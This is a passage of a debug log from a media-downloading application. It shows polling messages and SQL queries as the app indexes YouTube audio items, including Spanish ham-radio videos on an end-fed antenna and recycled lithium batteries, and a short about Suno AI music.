processed. Will check again in 1000ms 22:43:26.915 [debug] Current batch of media processed. Will check again in 1000ms 22:43:26.986 [debug] Current batch of media processed. Will check again in 1000ms 22:43:27.916 [debug] Current batch of media processed. Will check again in 1000ms 22:43:27.987 [debug] Current batch of media processed. Will check again in 1000ms 22:43:28.917 [debug] Current batch of media processed. Will check again in 1000ms 22:43:28.988 [debug] Current batch of media processed. Will check again in 1000ms 22:43:29.918 [debug] Current batch of media processed. Will check again in 1000ms 22:43:29.989 [debug] Current batch of media processed. Will check again in 1000ms 22:43:30.919 [debug] Current batch of media processed. Will check again in 1000ms 22:43:30.990 [debug] Current batch of media processed. Will check again in 1000ms 22:43:31.920 [debug] Current batch of media processed. Will check again in 1000ms 22:43:31.991 [debug] Current batch of media processed. Will check again in 1000ms 22:43:32.921 [debug] Current batch of media processed. Will check again in 1000ms 22:43:32.992 [debug] Current batch of media processed. Will check again in 1000ms 22:43:33.922 [debug] Current batch of media processed. Will check again in 1000ms 22:43:33.993 [debug] Current batch of media processed. Will check again in 1000ms 22:43:34.923 [debug] Current batch of media processed. Will check again in 1000ms 22:43:34.994 [debug] Current batch of media processed. Will check again in 1000ms 22:43:35.924 [debug] Current batch of media processed. Will check again in 1000ms 22:43:35.995 [debug] Current batch of media processed. Will check again in 1000ms 22:43:36.925 [debug] Current batch of media processed. Will check again in 1000ms 22:43:36.996 [debug] Current batch of media processed. Will check again in 1000ms 22:43:37.926 [debug] Current batch of media processed. Will check again in 1000ms 22:43:37.997 [debug] Current batch of media processed. Will check again in 1000ms 22:43:38.927 [debug] Current batch of media processed. Will check again in 1000ms 22:43:38.998 [debug] Current batch of media processed. Will check again in 1000ms 22:43:39.928 [debug] Current batch of media processed. Will check again in 1000ms 22:43:39.999 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos a ver paso a paso como construir una antena del tipo endfeed (media onda alimentada por el extremo), calculada para la banda de 7 Mhz (40 metros) y que va a resonar en las bandas de 14,21 y 28 Mhz sin precisar de acoplador.\n\nContenido del video\n\n00:00 - Inicio\n00:50 - Intro canal\n01:08 - Algo de teoría\n13:00 - Revisando choque\n15:06 - Transformador 1:49\n17:12 - Cable\n18:35 - Montaje exterior\n20:00 - Curvas de ROE\n\n\n#endfeed #radioaficionados #antena #autoconstruida #unun #nanovna #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1671, "filename" => "/downloads/music/ea3grn/125 - ANTENA ENDFEED 40 A 10 METROS MULTIBANDA Y ECONOMICA.m4a", "id" => "aU7z7VXLlno", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aU7z7VXLlno", "playlist_index" => 56, "timestamp" => 1707500858, "title" => "125 - ANTENA ENDFEED 40 A 10 METROS MULTIBANDA Y ECONOMICA", "upload_date" => "20240209"} 22:43:40.000 [debug] QUERY OK source="sources" db=0.4ms idle=1233.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:43:40.001 [debug] QUERY OK source="sources" db=0.3ms idle=1233.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:43:40.002 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1234.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-09 17:47:38Z], 3] 22:43:40.007 [debug] QUERY OK source="media_items" db=5.4ms idle=1235.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a ver paso a paso como construir una antena del tipo endfeed (media onda alimentada por el extremo), calculada para la banda de 7 Mhz (40 metros) y que va a resonar en las bandas de 14,21 y 28 Mhz sin precisar de acoplador.\n\nContenido del video\n\n00:00 - Inicio\n00:50 - Intro canal\n01:08 - Algo de teoría\n13:00 - Revisando choque\n15:06 - Transformador 1:49\n17:12 - Cable\n18:35 - Montaje exterior\n20:00 - Curvas de ROE\n\n\n#endfeed #radioaficionados #antena #autoconstruida #unun #nanovna #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "125 - ANTENA ENDFEED 40 A 10 METROS MULTIBANDA Y ECONOMICA", "80abc1d1-e4f8-4aa7-83eb-d24c19c92022", 1671, false, "aU7z7VXLlno", "https://www.youtube.com/watch?v=aU7z7VXLlno", 56, "/downloads/music/ea3grn/125 - ANTENA ENDFEED 40 A 10 METROS MULTIBANDA Y ECONOMICA.m4a", false, false, false, 3, [], 98, ~U[2024-02-09 17:47:38Z], ~U[2026-02-07 21:43:40Z], ~U[2026-02-07 21:43:40Z], "Vamos a ver paso a paso como construir una antena del tipo endfeed (media onda alimentada por el extremo), calculada para la banda de 7 Mhz (40 metros) y que va a resonar en las bandas de 14,21 y 28 Mhz sin precisar de acoplador.\n\nContenido del video\n\n00:00 - Inicio\n00:50 - Intro canal\n01:08 - Algo de teoría\n13:00 - Revisando choque\n15:06 - Transformador 1:49\n17:12 - Cable\n18:35 - Montaje exterior\n20:00 - Curvas de ROE\n\n\n#endfeed #radioaficionados #antena #autoconstruida #unun #nanovna #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "125 - ANTENA ENDFEED 40 A 10 METROS MULTIBANDA Y ECONOMICA", 1671, false, "aU7z7VXLlno", "https://www.youtube.com/watch?v=aU7z7VXLlno", "/downloads/music/ea3grn/125 - ANTENA ENDFEED 40 A 10 METROS MULTIBANDA Y ECONOMICA.m4a", false, 3, ~U[2024-02-09 17:47:38Z]] 22:43:40.008 [debug] QUERY OK source="sources" db=0.3ms idle=541.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:43:40.008 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:43:40.009 [debug] QUERY OK source="media_items" db=0.3ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1410] 22:43:40.009 [debug] Current batch of media processed. Will check again in 1000ms 22:43:40.929 [debug] Current batch of media processed. Will check again in 1000ms 22:43:41.010 [debug] Current batch of media processed. Will check again in 1000ms 22:43:41.930 [debug] Current batch of media processed. Will check again in 1000ms 22:43:42.011 [debug] Current batch of media processed. Will check again in 1000ms 22:43:42.931 [debug] Current batch of media processed. Will check again in 1000ms 22:43:43.012 [debug] Current batch of media processed. Will check again in 1000ms 22:43:43.932 [debug] Current batch of media processed. Will check again in 1000ms 22:43:44.013 [debug] Current batch of media processed. Will check again in 1000ms 22:43:44.933 [debug] Current batch of media processed. Will check again in 1000ms 22:43:45.014 [debug] Current batch of media processed. Will check again in 1000ms 22:43:45.934 [debug] Current batch of media processed. Will check again in 1000ms 22:43:46.015 [debug] Current batch of media processed. Will check again in 1000ms 22:43:46.935 [debug] Current batch of media processed. Will check again in 1000ms 22:43:47.016 [debug] Current batch of media processed. Will check again in 1000ms 22:43:47.936 [debug] Current batch of media processed. Will check again in 1000ms 22:43:48.017 [debug] Current batch of media processed. Will check again in 1000ms 22:43:48.937 [debug] Current batch of media processed. Will check again in 1000ms 22:43:49.018 [debug] Current batch of media processed. Will check again in 1000ms 22:43:49.938 [debug] Current batch of media processed. Will check again in 1000ms 22:43:50.019 [debug] Current batch of media processed. Will check again in 1000ms 22:43:50.939 [debug] Current batch of media processed. Will check again in 1000ms 22:43:51.020 [debug] Current batch of media processed. Will check again in 1000ms 22:43:51.258 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:51.940 [debug] Current batch of media processed. Will check again in 1000ms 22:43:52.021 [debug] Current batch of media processed. Will check again in 1000ms 22:43:52.941 [debug] Current batch of media processed. Will check again in 1000ms 22:43:53.022 [debug] Current batch of media processed. Will check again in 1000ms 22:43:53.942 [debug] Current batch of media processed. Will check again in 1000ms 22:43:54.023 [debug] Current batch of media processed. Will check again in 1000ms 22:43:54.943 [debug] Current batch of media processed. Will check again in 1000ms 22:43:55.024 [debug] Current batch of media processed. Will check again in 1000ms 22:43:55.944 [debug] Current batch of media processed. Will check again in 1000ms 22:43:56.025 [debug] Current batch of media processed. Will check again in 1000ms 22:43:56.945 [debug] Current batch of media processed. Will check again in 1000ms 22:43:57.026 [debug] Current batch of media processed. Will check again in 1000ms 22:43:57.946 [debug] Current batch of media processed. Will check again in 1000ms 22:43:58.027 [debug] Current batch of media processed. Will check again in 1000ms 22:43:58.947 [debug] Current batch of media processed. Will check again in 1000ms 22:43:59.028 [debug] Current batch of media processed. Will check again in 1000ms 22:43:59.948 [debug] Current batch of media processed. Will check again in 1000ms 22:44:00.029 [debug] Current batch of media processed. Will check again in 1000ms 22:44:00.126 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:00.949 [debug] Current batch of media processed. Will check again in 1000ms 22:44:01.030 [debug] Current batch of media processed. Will check again in 1000ms 22:44:01.950 [debug] Current batch of media processed. Will check again in 1000ms 22:44:02.031 [debug] Current batch of media processed. Will check again in 1000ms 22:44:02.951 [debug] Current batch of media processed. Will check again in 1000ms 22:44:03.032 [debug] Current batch of media processed. Will check again in 1000ms 22:44:03.952 [debug] Current batch of media processed. Will check again in 1000ms 22:44:04.033 [debug] Current batch of media processed. Will check again in 1000ms 22:44:04.953 [debug] Current batch of media processed. Will check again in 1000ms 22:44:05.034 [debug] Current batch of media processed. Will check again in 1000ms 22:44:05.954 [debug] Current batch of media processed. Will check again in 1000ms 22:44:06.035 [debug] Current batch of media processed. Will check again in 1000ms 22:44:06.955 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 8: TEXTO A AUDIO 2.0: ¡Descubre Suno, la herramienta IA que transforma la creación musical! Exploramos sus capacidades para generar canciones, desde letras hasta melodías. Aprende a usar Suno para crear tu propia música, ¡y hasta versiones karaoke! Inspírate con las posibilidades de Suno. #SunoAI #CreacionMusical #InteligenciaArtificial #MusicaIA #TutorialSuno #SoftwareMusical #CancionesIA #KaraokeEnCasa #InspiracionMusical #TecnologiaMusical", "duration" => 50, "filename" => "/downloads/music/IA mí QUÉ/¡Suno CREA canciones INCREÍBLES con IA! 🎶 Descúbrelo Aquí.m4a", "id" => "hb91nQNEGuA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/hb91nQNEGuA", "playlist_index" => 2, "timestamp" => 1748246552, "title" => "¡Suno CREA canciones INCREÍBLES con IA! 🎶 Descúbrelo Aquí", "upload_date" => "20250526"} 22:44:06.956 [debug] QUERY OK source="sources" db=0.6ms idle=1189.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:44:06.957 [debug] QUERY OK source="sources" db=0.4ms idle=1190.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:44:06.958 [debug] QUERY OK source="media_items" db=0.7ms idle=1190.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-26 08:02:32Z], 2] 22:44:06.959 [debug] QUERY OK source="media_items" db=1.1ms idle=1191.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 8: TEXTO A AUDIO 2.0: ¡Descubre Suno, la herramienta IA que transforma la creación musical! Exploramos sus capacidades para generar canciones, desde letras hasta melodías. Aprende a usar Suno para crear tu propia música, ¡y hasta versiones karaoke! Inspírate con las posibilidades de Suno. #SunoAI #CreacionMusical #InteligenciaArtificial #MusicaIA #TutorialSuno #SoftwareMusical #CancionesIA #KaraokeEnCasa #InspiracionMusical #TecnologiaMusical", "¡Suno CREA canciones INCREÍBLES con IA! 🎶 Descúbrelo Aquí", "b4d1213f-4452-4d42-bc86-14509580ef84", 50, false, "hb91nQNEGuA", "https://www.youtube.com/shorts/hb91nQNEGuA", 2, "/downloads/music/IA mí QUÉ/¡Suno CREA canciones INCREÍBLES con IA! 🎶 Descúbrelo Aquí.m4a", false, false, true, 2, [], 97, ~U[2025-05-26 08:02:32Z], ~U[2026-02-07 21:44:06Z], ~U[2026-02-07 21:44:06Z], "PARTE 8: TEXTO A AUDIO 2.0: ¡Descubre Suno, la herramienta IA que transforma la creación musical! Exploramos sus capacidades para generar canciones, desde letras hasta melodías. Aprende a usar Suno para crear tu propia música, ¡y hasta versiones karaoke! Inspírate con las posibilidades de Suno. #SunoAI #CreacionMusical #InteligenciaArtificial #MusicaIA #TutorialSuno #SoftwareMusical #CancionesIA #KaraokeEnCasa #InspiracionMusical #TecnologiaMusical", "¡Suno CREA canciones INCREÍBLES con IA! 🎶 Descúbrelo Aquí", 50, false, "hb91nQNEGuA", "https://www.youtube.com/shorts/hb91nQNEGuA", "/downloads/music/IA mí QUÉ/¡Suno CREA canciones INCREÍBLES con IA! 🎶 Descúbrelo Aquí.m4a", true, 2, ~U[2025-05-26 08:02:32Z]] 22:44:06.960 [debug] QUERY OK source="sources" db=0.5ms idle=443.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:44:06.961 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:44:06.962 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1369] 22:44:06.962 [debug] Current batch of media processed. Will check again in 1000ms 22:44:07.036 [debug] Current batch of media processed. Will check again in 1000ms 22:44:07.962 [debug] Current batch of media processed. Will check again in 1000ms 22:44:08.037 [debug] Current batch of media processed. Will check again in 1000ms 22:44:08.963 [debug] Current batch of media processed. Will check again in 1000ms 22:44:09.038 [debug] Current batch of media processed. Will check again in 1000ms 22:44:09.964 [debug] Current batch of media processed. Will check again in 1000ms 22:44:10.039 [debug] Current batch of media processed. Will check again in 1000ms 22:44:10.965 [debug] Current batch of media processed. Will check again in 1000ms 22:44:11.040 [debug] Current batch of media processed. Will check again in 1000ms 22:44:11.966 [debug] Current batch of media processed. Will check again in 1000ms 22:44:12.041 [debug] Current batch of media processed. Will check again in 1000ms 22:44:12.967 [debug] Current batch of media processed. Will check again in 1000ms 22:44:13.042 [debug] Current batch of media processed. Will check again in 1000ms 22:44:13.968 [debug] Current batch of media processed. Will check again in 1000ms 22:44:14.043 [debug] Current batch of media processed. Will check again in 1000ms 22:44:14.969 [debug] Current batch of media processed. Will check again in 1000ms 22:44:15.044 [debug] Current batch of media processed. Will check again in 1000ms 22:44:15.970 [debug] Current batch of media processed. Will check again in 1000ms 22:44:16.045 [debug] Current batch of media processed. Will check again in 1000ms 22:44:16.971 [debug] Current batch of media processed. Will check again in 1000ms 22:44:17.046 [debug] Current batch of media processed. Will check again in 1000ms 22:44:17.972 [debug] Current batch of media processed. Will check again in 1000ms 22:44:18.047 [debug] Current batch of media processed. Will check again in 1000ms 22:44:18.973 [debug] Current batch of media processed. Will check again in 1000ms 22:44:19.048 [debug] Current batch of media processed. Will check again in 1000ms 22:44:19.974 [debug] Current batch of media processed. Will check again in 1000ms 22:44:20.049 [debug] Current batch of media processed. Will check again in 1000ms 22:44:20.975 [debug] Current batch of media processed. Will check again in 1000ms 22:44:21.050 [debug] Current batch of media processed. Will check again in 1000ms 22:44:21.259 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:21.976 [debug] Current batch of media processed. Will check again in 1000ms 22:44:22.051 [debug] Current batch of media processed. Will check again in 1000ms 22:44:22.977 [debug] Current batch of media processed. Will check again in 1000ms 22:44:23.052 [debug] Current batch of media processed. Will check again in 1000ms 22:44:23.978 [debug] Current batch of media processed. Will check again in 1000ms 22:44:24.053 [debug] Current batch of media processed. Will check again in 1000ms 22:44:24.979 [debug] Current batch of media processed. Will check again in 1000ms 22:44:25.054 [debug] Current batch of media processed. Will check again in 1000ms 22:44:25.980 [debug] Current batch of media processed. Will check again in 1000ms 22:44:26.055 [debug] Current batch of media processed. Will check again in 1000ms 22:44:26.981 [debug] Current batch of media processed. Will check again in 1000ms 22:44:27.056 [debug] Current batch of media processed. Will check again in 1000ms 22:44:27.982 [debug] Current batch of media processed. Will check again in 1000ms 22:44:28.057 [debug] Current batch of media processed. Will check again in 1000ms 22:44:28.983 [debug] Current batch of media processed. Will check again in 1000ms 22:44:29.058 [debug] Current batch of media processed. Will check again in 1000ms 22:44:29.984 [debug] Current batch of media processed. Will check again in 1000ms 22:44:30.059 [debug] Current batch of media processed. Will check again in 1000ms 22:44:30.985 [debug] Current batch of media processed. Will check again in 1000ms 22:44:31.060 [debug] Current batch of media processed. Will check again in 1000ms 22:44:31.986 [debug] Current batch of media processed. Will check again in 1000ms 22:44:32.061 [debug] Current batch of media processed. Will check again in 1000ms 22:44:32.987 [debug] Current batch of media processed. Will check again in 1000ms 22:44:33.062 [debug] Current batch of media processed. Will check again in 1000ms 22:44:33.988 [debug] Current batch of media processed. Will check again in 1000ms 22:44:34.063 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video os muestro como reciclar baterias de litio de portatiles viejos para uso en radioafición o en otras cosas.\n\n\nEnlaces:\n\n\nCarcasa bateria con electronica (entre 5 y 8 euros aprox):\nhttps://es.aliexpress.com/item/1005006363363374.html\nhttps://es.aliexpress.com/item/1005006181507294.html\n\n\nSoldador por puntos (alrededor de 40-50 euros):\nhttps://es.aliexpress.com/item/1005006141079313.html\n\n\n\n\n#bateria #radioaficionados #litio #hamradio #preppers #preparacionismo #reciclaje #emergencias\n\n\nContenido del video\n\n\n00:00 - Presentación\n01:17 - Intro canal\n01:35 - Litio-Ion o LiFePo4\n04:41 - Caja de Aliexpress\n09:27 - Montando el pack\n15:44 - BMS y como conectarlo\n16:55 - Contactos de las baterias\n17:38 - Cableado\n19:40 - Encajando\n20:56 - Verificando capacidades\n24:24 - Baterias en serie y reguladores\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1839, "filename" => "/downloads/music/ea3grn/124 - BATERIA LITIO RECICLADA 12V CON CAJA ALIEXPRESS.m4a", "id" => "vdWL5sqfmyk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vdWL5sqfmyk", "playlist_index" => 57, "timestamp" => 1706976041, "title" => "124 - BATERIA LITIO RECICLADA 12V CON CAJA ALIEXPRESS", "upload_date" => "20240203"} 22:44:34.064 [debug] QUERY OK source="sources" db=0.6ms idle=1297.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:44:34.065 [debug] QUERY OK source="sources" db=0.4ms idle=1298.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:44:34.066 [debug] QUERY OK source="media_items" db=0.6ms idle=1298.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-03 16:00:41Z], 3] 22:44:34.069 [debug] QUERY OK source="media_items" db=2.7ms idle=1299.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video os muestro como reciclar baterias de litio de portatiles viejos para uso en radioafición o en otras cosas.\n\n\nEnlaces:\n\n\nCarcasa bateria con electronica (entre 5 y 8 euros aprox):\nhttps://es.aliexpress.com/item/1005006363363374.html\nhttps://es.aliexpress.com/item/1005006181507294.html\n\n\nSoldador por puntos (alrededor de 40-50 euros):\nhttps://es.aliexpress.com/item/1005006141079313.html\n\n\n\n\n#bateria #radioaficionados #litio #hamradio #preppers #preparacionismo #reciclaje #emergencias\n\n\nContenido del video\n\n\n00:00 - Presentación\n01:17 - Intro canal\n01:35 - Litio-Ion o LiFePo4\n04:41 - Caja de Aliexpress\n09:27 - Montando el pack\n15:44 - BMS y como conectarlo\n16:55 - Contactos de las baterias\n17:38 - Cableado\n19:40 - Encajando\n20:56 - Verificando capacidades\n24:24 - Baterias en serie y reguladores\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el 